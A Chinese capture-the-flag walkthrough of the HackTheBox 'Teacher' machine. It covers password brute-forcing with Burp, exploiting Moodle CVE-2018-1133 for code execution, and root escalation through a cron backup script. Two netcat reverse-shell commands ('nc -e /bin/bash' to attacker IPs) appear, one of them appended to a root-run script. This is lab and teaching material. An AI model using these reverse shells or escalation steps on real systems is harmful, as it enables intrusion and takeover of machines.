HACKTHEBOX——Teacher

nmap
nmap -sV -sC -p- -T4 -oA nmap 10.10.10.153

nmap只发现了对外开放了80端口,从http-title看出可能是某个中学的官网
http
打开网站确实是一个官网,查看每个接口看看有没有可以利用的地方

发现了一个接口,/images/5.png,但是响应包中却是一段文字

这个Giovanni写忘记了密码的最后一个字符,很有可能是想要我们去暴力破解,Th4C00lTheacha,再添加最后一个字符,从a-z,A-Z,0-9,在加上常用标点符号,生成一组密码,找到登录口后暴力破解进入后台,尝试admin/administrator等常见后台登录接口也没反应,直接扫描网站目录吧
暴力破解
gobuster dir -u http://10.10.10.153/ -w /usr/share/wordlists/dirb/big.txt -o gobuster
最终发现了这些接口

其中尝试访问/moodle接口时,跳转到teacher.htb,尝试将该域名添加至/etc/hosts

再次访问该页面,得到如下结果,看起来像是老师用的界面,wappalyzer显示这个moodle是一个LMS,可以尝试获取版本信息后查阅相关漏洞。之前的用户Giovanni可能是一个老师,右上角有一个登录按钮,尝试使用刚才得到的用户名和残缺的密码暴力破解登录系统

首先将登录时的数据包发送至burpsuite的intruder,在密码的最后一位添加替换位$password$,之后burpsuite便会自动替换这一位的字符

设置payloads为a-z,A-Z,0-9,常见字符,先试一下,可以看到#相应长度不同于其他

尝试使用Giovanni/Th4C00lTheacha#登录系统,成功登陆

使用moodlescan扫描一下目标网站,看看能不能发现一些东西
python3 moodlescan.py -k-u http://moodle.example.com/<moodle_path>/

扫描结果如下,发现系统使用的moodle版本为3.4.1

cve-2018-1133
Moodle 允许教师设置包含多种问题的测验。其中包括计算问题,它允许教师输入一个数学公式,该公式将由 Moodle 对随机输入变量进行动态评估。这可以防止学生作弊并简单地分享他们的结果。例如,教师可以键入 什么是 {x} 添加到 {y}?答案公式为 {x}+{y}。 Moodle 然后会生成两个随机数,并将它们插入问答文本中的 占位符 {x} 和 {y} (例如3.9+2.1)。 最后,它将通过调用安全敏感的 PHP 函数来 评估答案 6.0eval() 以其恶意潜力而闻名的公式输入,因为它允许执行任意 PHP 代码。
查看https://www.sonarsource.com/blog/moodle-remote-code-execution/文章获取更多信息
开始复现该漏洞,首先肯定是要登录系统
前往Site home–> 点击Algebra–> 点击Turn editing on

点击Add an activity or resource->点击Quiz->Add

随便写点东西然后点击保存,save and return to course,比如我创建了一个名为test的quiz

点击test进入,然后选择编辑edit quiz

进入编辑后,选择add,在选择a new question,类型选择calculated,点击add添加

然后将上文链接文章中的代码写入answers中,还要选择100%,负责会报错

然后点击save changes保存配置,下一个页面无需修改内容直接点击next page即可,在跳转至下一个页面即可使用“0=”来执行远程代码,使用nc -e /bin/bash 10.10.*.* 4444将shell传递给kali(kali提前监听端口)

www-data
拿到一个www-data权限的shell,用python获取一个交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
在网站根目录中发现了很多config文件,打开看看

在config.php中可以看到数据库相关信息

使用查到的数据库信息登录mysql

use moodle;使用moodle数据库,里面有一张叫mdl_user的表,其中存储着用户信息,查看表,发现列名username和password

查看username和password内容

其中最后一行Giovannibak的密码像是使用了md5加密,解密得到密码为expelled

查看/etc/passwd发现并没有用户叫Giovannibak,再加上bak很可能意味着这个密码是giovanni用户的备用密码,尝试使用改密码切换至giovanni用户,成功

链接到用户后,我们可以找到user.txt并查看

giovanni→root
在giovanni目录下,进入tmp目录,发现backup_courses.tar.gz每分钟都在运行,似乎是参与了一个cron job,且该文件属于root用户

向靶机上传pspy工具,检索所有的cron job

查看backup.sh的内容。进入work目录,将课程目录添加到tmp/backup_courses.tar.gz中,然后进入tmp目录,解压文件,并将tmp中所有文件权限设置为777

脚本由root用户创建,不能修改

chmod 从不更改符号链接的权限;chmod 系统调用无法更改其权限。这不是问题,因为从不使用符号链接的权限。但是,对于命令行中列出的每个符号链接,chmod 都会更改指向文件的权限。相反,chmod 忽略递归目录遍历期间遇到的符号链接
在~/work/tmp中创建链接:

尝试在脚本中追加"nc -e /bin/bash 10.10.14.14 1111" >> /usr/bin/backup.sh

开启监听,等待任务执行后,就能收到一个shell,然后就可以查看flag了

over!

相关文章:
HACKTHEBOX——Teacher
nmapnmap -sV -sC -p- -T4 -oA nmap 10.10.10.153nmap只发现了对外开放了80端口,从http-title看出可能是某个中学的官网http打开网站确实是一个官网,查看每个接口看看有没有可以利用的地方发现了一个接口,/images/5.png,但是响应包…...
干货| Vue小程序开发技术原理
目前应用最广的三大前端框架分别是Vue、 React 和 Angular 。其中,不管是 BAT 大厂,还是创业公司,Vue 都有广泛的应用。如今,再随着移动开发小程序的蓬勃发展,Vue也广泛应用到了小程序开发当中。今天,就来详…...
unity-web端h5记录
title: unity-web端h5记录 categories: Unity3d tags: [unity, web, h5] date: 2023-02-23 17:00:53 comments: false mathjax: true toc: true unity-web端h5记录 前篇 5款常用的html5游戏引擎以及优缺点分析 - https://imgtec.eetrend.com/blog/2022/100557792.htmlUnity We…...
基于部标JT808的车载视频监控需求与EasyCVR视频融合平台解决方案设计
一、方案背景 众所周知,在TSINGSEE青犀视频解决方案中,EasyCVR视频智能融合共享平台主要作为视频汇聚平台使用,不仅能兼容安防标准协议RTSP/Onvif、国标GB28181,互联网直播协议RTMP,私有协议海康SDK、大华SDK…...
Grafana邮件及告警配置
之前部署过服务器的监控组件程序,本在部署时也进行邮件及告警配置,但未进行文档整理,在这儿进行展示。之前用过Grafana的7.*的版本,在进行邮件配置还比较OK,但在配置告警时,太繁琐,还要自己去写…...
Springboot Java多线程操作本地文件,加读写锁,阻塞的线程等待运行中的线程执行完再查询并写入
Springboot Java多线程操作本地文件,加读写锁,阻塞的线程等待运行中的线程执行完再查询并写入1、读写锁2、文件锁3、Synchronized和Lock的区别1、读写锁 在 Spring Boot 中进行多线程操作本地文件并加读写锁可以使用 Java 的 java.nio.file 包中提供的文…...
WebRTC拥塞控制算法——GCC介绍
网络拥塞是基于IP协议的数据报交换网络中常见的一种网络传输问题,它对网络传输的质量有严重的影响, 网络拥塞是导致网络吞吐降低, 网络丢包等的主要原因之一, 这些问题使得上层应用无法有效的利用网络带宽获得高质量的网络传输效果…...
大数据技术之Maxwell基础知识
大数据技术之Maxwell基础知识 文章目录大数据技术之Maxwell基础知识0、写在前面1、Maxwell 概述1.1 Maxwell 定义1.2 Maxwell 工作原理1.2.1 MySQL 主从复制过程1.2.2 Maxwell 的工作原理1.2.3 MySQL 的 binlog1.3 Maxwell与Cannal对比2. Maxwell 使用2.1 Maxwell 安装部署2.1.…...
元数据管理实践数据血缘
元数据管理实践&数据血缘 什么是元数据?元数据MetaData狭义的解释是用来描述数据的数据,广义的来看,除了业务逻辑直接读写处理的那些业务数据,所有其它用来维持整个系统运转所需的信息/数据都可以叫作元数据。比如…...
SQL的优化【面试工作】
SQL的优化 最近看到群友在讨论这块的优化,感觉不管工作和面试,都是用上的,记录下吧!(不然又记不住) 优化点: 处理和优化复杂的 SQL 查询可以有以下几个方向: 1.优化查询语句本身 首先,可以优化 SQL 查询语句本身,尽量让其更加简洁、高效。 …...
Kotlin 40. Dependency Injection 依赖注入以及Hilt在Kotlin中的使用,系列3:Hilt 注释介绍及使用案例
一起来学Kotlin:概念:27. Dependency Injection 依赖注入以及Hilt在Kotlin中的使用,系列3:Hilt 注释介绍及使用案例 此系列博客中,我们将主要介绍: Dependency Injection(依赖注入)…...
1000亿数据、30W级qps如何架构?来一个天花板案例
1000亿级存储、30W级qps系统如何架构?来一个天花板案例 说在前面 在尼恩的(50)读者社群中,经常遇到一个 非常、非常高频的一个架构面试题,类似如下: 千万级数据,如何做系统架构?亿…...
人工智能及其应用(蔡自兴)期末复习
人工智能及其应用(蔡自兴)期末复习 相关资料: 人工智能期末复习 人工智能复习题 人工智能模拟卷 人工智能期末练习题 1 ⭐️绪论 人工智能:人工智能就是用人工的方法在机器(计算机)上实现的智能࿰…...
openpnp - configure - 矫正里程碑
文章目录openpnp - configure - 矫正里程碑概述备注ENDopenpnp - configure - 矫正里程碑 概述 进入矫正里程碑了 查找问题 现在第一个问题是X轴的齿隙矫正 根据提示, 将顶部相机移动到主基准点上, 选择容差(就选用默认的0.025), 开始矫正. 正好开机后, 使能了视觉原点归零. …...
JavaScript高级程序设计读书分享之8章——8.2创建对象
JavaScript高级程序设计(第4版)读书分享笔记记录 适用于刚入门前端的同志 创建Object的实例 let person new Object(); person.name "Nicholas"; person.age 29; person.job "Software Engineer"; person.sayName function() { console.log(this…...
关于Could not build wheels for opencv-python-headless, which is...报错的解决方案
在通过最新版pip在线安装package:opencv-python-headless的时候,会产生报错信息,主要为 ERROR: Failed building wheel for opencv-python-headless ERROR: Could not build wheels for opencv-python-headless, which is required to insta…...
【K3s】第1篇 K3s入门级介绍及架构详解
1、什么是 K3s? K3s 是一个轻量级的 Kubernetes 发行版,它针对边缘计算、物联网等场景进行了高度优化。K3s 有以下增强功能: 打包为单个二进制文件。使用基于 sqlite3 的轻量级存储后端作为默认存储机制。同时支持使用 etcd3、MySQL 和 PostgreSQL 作…...
Java学习--反射
1. 反射 1.1 反射的概述: **专业的解释(了解一下):**是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意属性和方法ÿ…...
应用和迭代(名词解释)
应用和迭代是什么意思 应用: ● 一个完整的前端应用,一般用应用脚手架创建,包含路由,页面,状态等 ● 一个应用对应一个代码仓库 ● 应用的分组(业务中心,数据中台等)只用于逻辑分类&…...
HTMLCollection 和 NodeList 区别
Node 和 Element DOM 是一棵树,所有节点都是 NodeNode 是 Element 的基类Element 是其他 HTML 元素的基类,如 HTMLDivElement HTMLCollection 和 NodeList HTMLCollection 是 Element 的集合NodeList 是 Node 的集合 <body><p id"p1&qu…...
OpenLayers 可视化之热力图
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 热力图(Heatmap)又叫热点图,是一种通过特殊高亮显示事物密度分布、变化趋势的数据可视化技术。采用颜色的深浅来显示…...
【Linux】shell脚本忽略错误继续执行
在 shell 脚本中,可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行,可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令,并忽略错误 rm somefile…...
Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件
今天呢,博主的学习进度也是步入了Java Mybatis 框架,目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学,希望能对大家有所帮助,也特别欢迎大家指点不足之处,小生很乐意接受正确的建议&…...
渲染学进阶内容——模型
最近在写模组的时候发现渲染器里面离不开模型的定义,在渲染的第二篇文章中简单的讲解了一下关于模型部分的内容,其实不管是方块还是方块实体,都离不开模型的内容 🧱 一、CubeListBuilder 功能解析 CubeListBuilder 是 Minecraft Java 版模型系统的核心构建器,用于动态创…...
令牌桶 滑动窗口->限流 分布式信号量->限并发的原理 lua脚本分析介绍
文章目录 前言限流限制并发的实际理解限流令牌桶代码实现结果分析令牌桶lua的模拟实现原理总结: 滑动窗口代码实现结果分析lua脚本原理解析 限并发分布式信号量代码实现结果分析lua脚本实现原理 双注解去实现限流 并发结果分析: 实际业务去理解体会统一注…...
土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等
🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...
Linux --进程控制
本文从以下五个方面来初步认识进程控制: 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程,创建出来的进程就是子进程,原来的进程为父进程。…...
关键领域软件测试的突围之路:如何破解安全与效率的平衡难题
在数字化浪潮席卷全球的今天,软件系统已成为国家关键领域的核心战斗力。不同于普通商业软件,这些承载着国家安全使命的软件系统面临着前所未有的质量挑战——如何在确保绝对安全的前提下,实现高效测试与快速迭代?这一命题正考验着…...
VM虚拟机网络配置(ubuntu24桥接模式):配置静态IP
编辑-虚拟网络编辑器-更改设置 选择桥接模式,然后找到相应的网卡(可以查看自己本机的网络连接) windows连接的网络点击查看属性 编辑虚拟机设置更改网络配置,选择刚才配置的桥接模式 静态ip设置: 我用的ubuntu24桌…...
日常一水C
多态 言简意赅:就是一个对象面对同一事件时做出的不同反应 而之前的继承中说过,当子类和父类的函数名相同时,会隐藏父类的同名函数转而调用子类的同名函数,如果要调用父类的同名函数,那么就需要对父类进行引用&#…...
